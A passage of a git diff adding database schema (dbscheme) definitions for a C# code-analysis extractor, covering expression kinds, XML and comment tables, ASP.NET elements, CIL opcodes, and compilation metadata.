+ +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/semmlecode.csharp.dbscheme b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..e6442d16b7e --- /dev/null +++ b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/semmlecode.csharp.dbscheme @@ -0,0 +1,1914 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External 